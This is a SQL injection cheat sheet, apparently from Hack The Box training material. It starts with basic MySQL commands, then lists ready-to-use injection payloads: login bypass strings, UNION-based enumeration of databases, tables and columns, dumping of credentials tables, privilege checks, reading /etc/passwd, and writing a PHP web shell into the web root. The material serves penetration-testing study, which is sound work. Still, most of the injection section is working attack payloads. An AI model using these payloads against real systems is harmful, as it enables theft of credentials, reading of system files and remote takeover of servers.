



SQL INJECTION FUNDAMENTALS CHEAT SHEET

MySQL

Command	Description
General	
<code>mysql -u root -h docker.hackthebox.eu -P 3306 -p</code>	login to mysql database
<code>SHOW DATABASES</code>	List available databases
<code>USE users</code>	Switch to database
Tables	
<code>CREATE TABLE logins (id INT, ...)</code>	Add a new table
<code>SHOW TABLES</code>	List available tables in current database
<code>DESCRIBE logins</code>	Show table properties and columns
<code>INSERT INTO table_name VALUES (value_1,...)</code>	Add values to table
<code>INSERT INTO table_name(column2, ...) VALUES (column2_value, ..)</code>	Add values to specific columns in a table
<code>UPDATE table_name SET column1=newvalue1, ... WHERE <condition></code>	Update table values
Columns	

Command	Description
<code>SELECT * FROM table_name</code>	Show all columns in a table
<code>SELECT column1, column2 FROM table_name</code>	Show specific columns in a table
<code>DROP TABLE logins</code>	Delete a table
<code>ALTER TABLE logins ADD newColumn INT</code>	Add new column
<code>ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn</code>	Rename column
<code>ALTER TABLE logins MODIFY oldColumn DATE</code>	Change column datatype
<code>ALTER TABLE logins DROP oldColumn</code>	Delete column

Output

<code>SELECT * FROM logins ORDER BY column_1</code>	Sort by column
<code>SELECT * FROM logins ORDER BY column_1 DESC</code>	Sort by column in descending order
<code>SELECT * FROM logins ORDER BY column_1 DESC, id ASC</code>	Sort by two-columns
<code>SELECT * FROM logins LIMIT 2</code>	Only show first two results
<code>SELECT * FROM logins LIMIT 1, 2</code>	Only show first two results starting from index 2
<code>SELECT * FROM table_name WHERE <condition></code>	List results that meet a condition
<code>SELECT * FROM logins WHERE username LIKE 'admin%'</code>	List results where the name is similar to a given string

MySQL Operator Precedence

- Division (/), Multiplication (*), and Modulus (%)
- Addition (+) and Subtraction (-)
- Comparison (=, >, <, <=, >=, !=, LIKE)
- NOT (!)
- AND (&&)

- OR (||)

SQL Injection

Payload	Description
Auth Bypass	
<code>admin' or '1'='1</code>	Basic Auth Bypass
<code>admin')-- -</code>	Basic Auth Bypass With comments

Auth Bypass Payloads

Union Injection	
<code>' order by 1-- -</code>	Detect number of columns using order by
<code>cn' UNION select 1,2,3-- -</code>	Detect number of columns using Union injection
<code>cn' UNION select 1,@@version,3,4-- -</code>	Basic Union injection
<code>UNION select username, 2, 3, 4 from passwords-- -</code>	Union injection for 4 columns

DB Enumeration

<code>SELECT @@version</code>	Fingerprint MySQL with query output
<code>SELECT SLEEP(5)</code>	Fingerprint MySQL with no output
<code>cn' UNION select 1,database(),2,3-- -</code>	Current database name
<code>cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -</code>	List all databases

Payload	Description
<code>cn' UNION select 1, TABLE_NAME, TABLE_SCHEMA, 4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -</code>	List all tables in a specific database
<code>cn' UNION select 1, COLUMN_NAME, TABLE_NAME, TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -</code>	List all columns in a specific table
<code>cn' UNION select 1, username, password, 4 from dev.credentials-- -</code>	Dump data from a table in another database

Privileges

<code>cn' UNION SELECT 1, user(), 3, 4-- -</code>	Find current user
<code>cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -</code>	Find if user has admin privileges
<code>cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -</code>	Find if all user privileges
<code>cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -</code>	Find which directories can be accessed through MySQL

File Injection

<code>cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -</code>	Read local file
<code>select 'file written successfully!' into outfile '/var/www/html/proof.txt'</code>	Write a string to a local file
<code>cn' union select "", '<?php system(\$_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -</code>	Write a web shell into the base web directory